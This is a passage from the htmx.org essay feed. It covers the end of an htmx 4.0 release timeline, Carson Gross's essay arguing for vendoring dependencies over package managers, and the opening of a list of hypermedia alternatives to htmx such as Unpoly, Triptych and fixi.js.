&lt;p&gt;As always, software takes as long as it takes.&lt;&#x2F;p&gt;
&lt;p&gt;However, our current planned timeline is:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;An alpha release is available &lt;em&gt;today&lt;&#x2F;em&gt;:  &lt;code&gt;htmx@4.0.0-alpha1&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;A 4.0.0 release should be available in early-to-mid 2026&lt;&#x2F;li&gt;
&lt;li&gt;4.0 will be marked &lt;code&gt;latest&lt;&#x2F;code&gt; in early-2027ish&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;You can track our progress (and see quite a bit of dust flying around) in the &lt;code&gt;four&lt;&#x2F;code&gt; branch on
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;htmx&#x2F;tree&#x2F;four&quot;&gt;github&lt;&#x2F;a&gt; and at:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;four.htmx.org&quot;&gt;https:&#x2F;&#x2F;four.htmx.org&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Thank you for your patience and pardon our dust!&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;“Well, when events change, I change my mind. What do you do?” –Paul Samuelson or John Maynard Keynes&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Vendoring</title>
        <published>2025-01-27T00:00:00+00:00</published>
        <updated>2025-01-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/vendoring/"/>
        <id>https://htmx.org/essays/vendoring/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/vendoring/">&lt;p&gt;“Vendoring” software is a technique where you copy the source of another project directly into your own project.&lt;&#x2F;p&gt;
&lt;p&gt;It is an old technique that has been used for time immemorial in software development, but the term “vendoring” to
describe it appears to have originated in the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;posts&#x2F;72115282&#x2F;revisions&quot;&gt;ruby community&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Vendoring can be and is still used today. You can vendor htmx, for example, quite easily.&lt;&#x2F;p&gt;
&lt;p&gt;Assuming you have a &lt;code&gt;&#x2F;js&#x2F;vendor&lt;&#x2F;code&gt; directory in your project, you can just download the source into your own project like
so:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span&gt; https:&#x2F;&#x2F;raw.githubusercontent.com&#x2F;bigskysoftware&#x2F;htmx&#x2F;refs&#x2F;tags&#x2F;v2.0.4&#x2F;dist&#x2F;htmx.min.js &amp;gt; &#x2F;js&#x2F;vendor&#x2F;htmx-2.0.4.min.js
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You then include the library in your &lt;code&gt;head&lt;&#x2F;code&gt; tag:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;script &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;src&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;js&#x2F;vendor&#x2F;htmx-2.0.4.min.js&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And then you check the htmx source into your own source control repository.  (I would even recommend considering using
the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;raw.githubusercontent.com&#x2F;bigskysoftware&#x2F;htmx&#x2F;refs&#x2F;tags&#x2F;v2.0.4&#x2F;dist&#x2F;htmx.js&quot;&gt;non-minimized version&lt;&#x2F;a&gt;, so
you can better understand and debug the code.)&lt;&#x2F;p&gt;
&lt;p&gt;That’s it, that’s vendoring.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;vendoring-strengths&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#vendoring-strengths&quot; aria-label=&quot;Anchor link for: vendoring-strengths&quot;&gt;Vendoring Strengths&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;OK, great, so what are some strengths of vendoring libraries like this?&lt;&#x2F;p&gt;
&lt;p&gt;It turns out there are quite a few:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Your entire project is checked in to your source repository, so no external systems beyond your source control need
to be involved when building it&lt;&#x2F;li&gt;
&lt;li&gt;Vendoring dramatically improves dependency &lt;em&gt;visibility&lt;&#x2F;em&gt;: you can &lt;em&gt;see&lt;&#x2F;em&gt; all the code your project depends on, so you
won’t have a situation like we have in htmx, where we feel like we only have a few development dependencies, when in
fact we may have a lot&lt;&#x2F;li&gt;
&lt;li&gt;This also means if you have a good debugger, you can step into the library code as easily as any other code.  You
can also read it, learn from it and even modify it if necessary.&lt;&#x2F;li&gt;
&lt;li&gt;From a security perspective, you aren’t relying on opaque code.  Even if your package manager has
an integrity hash system, the actual code may be opaque to you.  With vendored code it is checked in and can be
analysed automatically or by a security team.&lt;&#x2F;li&gt;
&lt;li&gt;Personally, it has always seemed crazy to me that people will often resolve dependencies at deployment time, right
when your software is about to go out the door.  If that bothers you, like it does me, vendoring puts a stop to it.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;On the other hand, vendoring also has one massive drawback: there typically isn’t a good way to deal with what is called
the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Transitive_closure&quot;&gt;transitive dependency&lt;&#x2F;a&gt; problem.&lt;&#x2F;p&gt;
&lt;p&gt;If htmx had sub-dependencies, that is, other libraries that it depended on, then to vendor it properly you would have to
start vendoring all those libraries as well.  And if those dependencies had further dependencies, you’d need to install
them as well… And on and on.&lt;&#x2F;p&gt;
&lt;p&gt;Worse, two dependencies might depend on the same library, and you’ll need to make sure you get the
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Dependency_hell&quot;&gt;correct version&lt;&#x2F;a&gt; of that library for everything to work.&lt;&#x2F;p&gt;
&lt;p&gt;This can get pretty difficult to deal with, but I want to make a paradoxical claim that this weakness (and, again, it’s
a real one) is actually a strength in some way:&lt;&#x2F;p&gt;
&lt;p&gt;Because dealing with large numbers of dependencies is difficult, vendoring encourages a culture of &lt;em&gt;independence&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;You get more of what you make easy, and if you make dependencies easy, you get more of them.  Making dependencies,
&lt;em&gt;especially&lt;&#x2F;em&gt; transitive dependencies, more difficult would make them less common.&lt;&#x2F;p&gt;
&lt;p&gt;And, as we will see in a bit, maybe fewer dependencies isn’t such a bad thing.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dependency-managers&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#dependency-managers&quot; aria-label=&quot;Anchor link for: dependency-managers&quot;&gt;Dependency Managers&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;That’s great and all, but there are &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;datagrok&#x2F;8577287&quot;&gt;significant&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20180216205752&#x2F;http:&#x2F;&#x2F;blog.bithound.io&#x2F;why-we-stopped-vendoring-our-npm-dependencies&#x2F;&quot;&gt;drawbacks&lt;&#x2F;a&gt;
to vendoring, particular the transitive dependency problem.&lt;&#x2F;p&gt;
&lt;p&gt;Modern software engineering uses dependency managers to deal with the dependencies of software projects.  These tools
allow you to specify your projects dependencies, typically via some sort of file.  They then they will install those
dependencies and resolve and manage all the other dependencies that are necessary for those dependencies to work.&lt;&#x2F;p&gt;
&lt;p&gt;One of the most widely used package managers is NPM: The &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.npmjs.com&#x2F;&quot;&gt;Node Package Manager&lt;&#x2F;a&gt;.  Despite having
no runtime dependencies, htmx uses NPM to specify 16 development dependencies.  Development dependencies are dependencies
that are necessary for development of htmx, but not for running it.  You can see the dependencies at the bottom of
the NPM &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;htmx&#x2F;blob&#x2F;master&#x2F;package.json&quot;&gt;&lt;code&gt;package.json&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; file for the project.&lt;&#x2F;p&gt;
&lt;p&gt;Dependency managers are a crucial part of modern software development and many developers today couldn’t imagine
writing software without them.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-trouble-with-dependency-managers&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-trouble-with-dependency-managers&quot; aria-label=&quot;Anchor link for: the-trouble-with-dependency-managers&quot;&gt;The Trouble with Dependency Managers&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;So dependency managers solve the transitive dependency problem that vendoring has.  But, as with everything in software
engineering, there are tradeoffs associated with them.  To see some of these tradeoffs, let’s take a look at the
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;htmx&#x2F;blob&#x2F;master&#x2F;package-lock.json&quot;&gt;&lt;code&gt;package-lock.json&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; file in htmx.&lt;&#x2F;p&gt;
&lt;p&gt;NPM generates a &lt;code&gt;package-lock.json&lt;&#x2F;code&gt; file that contains the resolved transitive closure of dependencies for a project, with
the concrete versions of those dependencies.  This helps ensure that the same dependencies are used unless a user
explicitly updates them.&lt;&#x2F;p&gt;
&lt;p&gt;If you take a look at the &lt;code&gt;package-lock.json&lt;&#x2F;code&gt; for htmx, you will find that the original 13 development dependencies have
ballooned into a total of 411 dependencies when all is said and done.&lt;&#x2F;p&gt;
&lt;p&gt;htmx, it turns out, relies on a huge number of packages, despite priding itself on being a relatively lean.  In fact,
the &lt;code&gt;node_modules&lt;&#x2F;code&gt; folder in htmx is a whopping 110 megabytes!&lt;&#x2F;p&gt;
&lt;p&gt;But, beyond this bloat there are deeper problems lurking in that mass of dependencies.&lt;&#x2F;p&gt;
&lt;p&gt;While writing this essay I found that htmx apparently depends on the
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.npmjs.com&#x2F;package&#x2F;array.prototype.findlastindex&quot;&gt;&lt;code&gt;array.prototype.findlastindex&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, a
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Polyfill_(programming)&quot;&gt;polyfill&lt;&#x2F;a&gt; for a JavaScript feature introduced in
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;JavaScript&#x2F;Reference&#x2F;Global_Objects&#x2F;Array&#x2F;findLastIndex&quot;&gt;2022&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Now, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;v1.htmx.org&#x2F;&quot;&gt;htmx 1.x&lt;&#x2F;a&gt; is IE compatible, and I don’t &lt;em&gt;want&lt;&#x2F;em&gt; polyfills for &lt;em&gt;anything&lt;&#x2F;em&gt;: I want to write
code that will work in IE without any additional library support.  And yet a polyfill has snuck in via a chain
of dependencies (htmx does not directly rely on it) that introduces a dangerous polyfill that would let me write
code that would break in IE, as well as other older browsers.&lt;&#x2F;p&gt;
&lt;p&gt;This polyfill may or may not be available when I run the htmx &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;test&#x2F;&quot;&gt;test suite&lt;&#x2F;a&gt; (it’s hard to tell)
but that’s the point: some dangerous code has snuck into my project without me even knowing it, due to the number
and complexity of the (development) dependencies it has.&lt;&#x2F;p&gt;
&lt;p&gt;This demonstrates significant &lt;em&gt;cultural&lt;&#x2F;em&gt; problem with dependency managers:&lt;&#x2F;p&gt;
&lt;p&gt;They tend to foster a culture of, well, dependency.&lt;&#x2F;p&gt;
&lt;p&gt;A spectacular example of this was the infamous &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Npm_left-pad_incident&quot;&gt;left-pad incident&lt;&#x2F;a&gt;,
in which an engineer took down a widely used package and broke the build at companies like Facebook, PayPal, Netflix,
etc.&lt;&#x2F;p&gt;
&lt;p&gt;That was a relatively innocuous, although splashy, issue, but a more serious concern is
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Supply_chain_attack&quot;&gt;supply chain attacks&lt;&#x2F;a&gt;, where a hostile entity is able to compromise
a company via code injected unwittingly via dependencies.&lt;&#x2F;p&gt;
&lt;p&gt;The larger our dependency graph gets, the worse these problems get.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dependencies-reconsidered&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#dependencies-reconsidered&quot; aria-label=&quot;Anchor link for: dependencies-reconsidered&quot;&gt;Dependencies Reconsidered&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I’m not the only person thinking about our culture of dependency.  Here’s what some other, smarter folks have to say
about it:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;mitsuhiko&quot;&gt;Armin Ronacher&lt;&#x2F;a&gt;, creator of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;flask.palletsprojects.com&#x2F;en&#x2F;stable&#x2F;&quot;&gt;flask&lt;&#x2F;a&gt;
recently said this on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;mitsuhiko&#x2F;status&#x2F;1882739157120041156&quot;&gt;the ol’twits&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The more I build software, the more I despise dependencies. I greatly prefer people copy&#x2F;pasting stuff into their own
code bases or re-implement it. Unfortunately the vibe of the time does not embrace that idea much. I need that vibe
shift.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;He also wrote a great blog post about his
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lucumr.pocoo.org&#x2F;2025&#x2F;1&#x2F;24&#x2F;build-it-yourself&#x2F;&quot;&gt;experience with package management&lt;&#x2F;a&gt; in the Rust ecosystem:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;It’s time to have a new perspective: we should give kudos to engineers who write a small function themselves instead
of hooking in a transitive web of crates. We should be suspicious of big crate graphs. Celebrated are the minimal
dependencies, the humble function that just quietly does the job, the code that doesn’t need to be touched for years
because it was done right once.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Please go read it in full.&lt;&#x2F;p&gt;
&lt;p&gt;Back in 2021, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;macwright.com&quot;&gt;Tom Macwright&lt;&#x2F;a&gt; wrote this in
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;macwright.com&#x2F;2021&#x2F;03&#x2F;11&#x2F;vendor-by-default&quot;&gt;Vendor by default&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;But one thing that I do think is sort of unusual is: I’m vendoring a lot of stuff.&lt;&#x2F;p&gt;
&lt;p&gt;Vendoring, in the programming sense, means “copying the source code of another project into your project.” It’s in
contrast to the practice of using dependencies, which would be adding another project’s name to your package.json
file and having npm or yarn download and link it up for you.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;I highly recommend reading his take on vendoring as well.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;software-designed-to-be-vendored&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#software-designed-to-be-vendored&quot; aria-label=&quot;Anchor link for: software-designed-to-be-vendored&quot;&gt;Software Designed To Be Vendored&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Some good news, if you are an open source developer and like the idea of vendoring, is that there is a simple way to
make your software vendor-friendly: remove as many dependencies as you can.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;daisyui.com&#x2F;&quot;&gt;DaisyUI&lt;&#x2F;a&gt;, for example, has been in the process of
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;Saadeghi&#x2F;status&#x2F;1882556881253826941&quot;&gt;removing their dependencies&lt;&#x2F;a&gt;, going from 100 dependencies in
version 3 to 0 in version 5.&lt;&#x2F;p&gt;
&lt;p&gt;There is also a set htmx-adjacent projects that are taking vendoring seriously:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;gnat&#x2F;surreal&quot;&gt;Surreal&lt;&#x2F;a&gt; - a lightweight jQuery alternative&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kgscialdone&#x2F;facet&quot;&gt;Facet&lt;&#x2F;a&gt; - an HTML-oriented Web Component library&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;fixi&quot;&gt;fixi&lt;&#x2F;a&gt; - a minimal htmx alternative&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;None of these JavaScript projects are available in NPM, and all of them &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;gnat&#x2F;surreal#-install&quot;&gt;recommend&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kgscialdone&#x2F;facet#installation&quot;&gt;vendoring&lt;&#x2F;a&gt; the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;fixi#installing&quot;&gt;software&lt;&#x2F;a&gt;
into your own project as the primary installation mechanism.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;vendor-first-dependency-managers&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#vendor-first-dependency-managers&quot; aria-label=&quot;Anchor link for: vendor-first-dependency-managers&quot;&gt;Vendor First Dependency Managers?&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The last thing I want to briefly mention is a technology that combines both vendoring and dependency management:
vendor-first dependency managers.  I have never worked with one before, but I have been pointed to
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;fosskers&#x2F;vend&quot;&gt;vend&lt;&#x2F;a&gt;, a common lisp vendor oriented package manager (with a great README), as well
as &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;go.dev&#x2F;ref&#x2F;mod#vendoring&quot;&gt;go’s vendoring option&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;In writing this essay, I also came across &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sourcemeta&#x2F;vendorpull&quot;&gt;vendorpull&lt;&#x2F;a&gt; and
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;brettlangdon&#x2F;git-vendor&quot;&gt;git-vendor&lt;&#x2F;a&gt;, both of which are small but interesting projects.&lt;&#x2F;p&gt;
&lt;p&gt;These all look like excellent tools, and it seems to me that there is an opportunity for some of them (and tools like
them) to add additional functionality to address the traditional weaknesses of vendoring, for example:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Managing transitive dependencies, if any&lt;&#x2F;li&gt;
&lt;li&gt;Relatively easy updates of those dependencies&lt;&#x2F;li&gt;
&lt;li&gt;Managing local modifications made to dependencies (and maybe help manage contributing them upstream?)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;With these additional features I wonder if vendor-first dependency managers could compete with “normal” dependency
managers in modern software development, perhaps combining some of the benefits of both approaches.&lt;&#x2F;p&gt;
&lt;p&gt;Regardless, I hope that this essay has helped you think a bit more about dependencies and perhaps planted the idea that
maybe your software could be a little less, well, dependent on dependencies.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Alternatives to htmx</title>
        <published>2025-01-12T00:00:00+00:00</published>
        <updated>2024-01-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/alternatives/"/>
        <id>https://htmx.org/essays/alternatives/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/alternatives/">&lt;p&gt;&lt;a href=&quot;&#x2F;&quot;&gt;htmx&lt;&#x2F;a&gt; is only one of many different libraries &amp;amp; frameworks that take the
&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-driven-applications&#x2F;&quot;&gt;hypermedia oriented&lt;&#x2F;a&gt; approach to building web applications. I have
said before that I think the &lt;a href=&quot;&#x2F;essays&quot;&gt;ideas of htmx&lt;&#x2F;a&gt; &#x2F; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hypermedia.systems&quot;&gt;hypermedia&lt;&#x2F;a&gt; are more important than
htmx as an implementation.&lt;&#x2F;p&gt;
&lt;p&gt;Here are some of my favorite other takes on these ideas that I think are worth your consideration:&lt;&#x2F;p&gt;
&lt;h2 id=&quot;unpoly&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#unpoly&quot; aria-label=&quot;Anchor link for: unpoly&quot;&gt;Unpoly&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;unpoly.com&#x2F;&quot;&gt;Unpoly&lt;&#x2F;a&gt; is a wonderful, mature front end framework that has been used heavily (especially in the
ruby community) for over a decade now. It offers
best-in-class &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Glossary&#x2F;Progressive_Enhancement&quot;&gt;progressive enhancement&lt;&#x2F;a&gt;
and has many useful concepts such as &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;unpoly.com&#x2F;up.layer&quot;&gt;layers&lt;&#x2F;a&gt; and sophisticated
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;unpoly.com&#x2F;validation&quot;&gt;form validation&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;I interviewed the author, Henning Koch, &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;interviews&#x2F;henning-koch&#x2F;&quot;&gt;here&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;You can see a demo application using Unpoly &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;demo.unpoly.com&#x2F;&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;triptych&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#triptych&quot; aria-label=&quot;Anchor link for: triptych&quot;&gt;Triptych&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;alexpetros&#x2F;triptych&quot;&gt;Triptych&lt;&#x2F;a&gt; is a set of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alexanderpetros.com&#x2F;triptych&#x2F;&quot;&gt;three proposals&lt;&#x2F;a&gt;
to bring more generalized hypermedia controls directly into the HTML specification:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Allow more &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;Methods&quot;&gt;HTTP Methods&lt;&#x2F;a&gt; to be used directly from HTML&lt;&#x2F;li&gt;
&lt;li&gt;Allow buttons to act as stand-alone hypermedia controls&lt;&#x2F;li&gt;
&lt;li&gt;Allow hypermedia controls to target any element on the page for replacement&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;It is &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;whatwg&#x2F;html&#x2F;issues&#x2F;3577#issuecomment-2294931398&quot;&gt;in the process&lt;&#x2F;a&gt; of being introduced to the
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;whatwg.org&#x2F;&quot;&gt;WHATWG&lt;&#x2F;a&gt; for inclusion in the HTML specification.&lt;&#x2F;p&gt;
&lt;p&gt;The project includes a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;alexpetros&#x2F;triptych&#x2F;blob&#x2F;main&#x2F;triptych.js&quot;&gt;polyfill&lt;&#x2F;a&gt; that can be used today
to implement applications using the proposal today.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fixi-js&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#fixi-js&quot; aria-label=&quot;Anchor link for: fixi-js&quot;&gt;fixi.js&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;fixi&quot;&gt;fixi.js&lt;&#x2F;a&gt; is a minimalist implementation of
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dl.acm.org&#x2F;doi&#x2F;fullHtml&#x2F;10.1145&#x2F;3648188.3675127&quot;&gt;generalized hypermedia controls&lt;&#x2F;a&gt; by the htmx team, focusing
on being as small as possible and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;fixi#minimalism&quot;&gt;omitting&lt;&#x2F;a&gt; many of the features
found in htmx.&lt;&#x2F;p&gt;
&lt;p&gt;It is intended to be as small as possible (~3.5k unminified &amp;amp; uncompressed, ~1.3k compressed) while still being readable
and debuggable, so it can be included in a project directly without requiring any transformations.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;datastar&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#datastar&quot; aria-label=&quot;Anchor link for: datastar&quot;&gt;Datastar&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
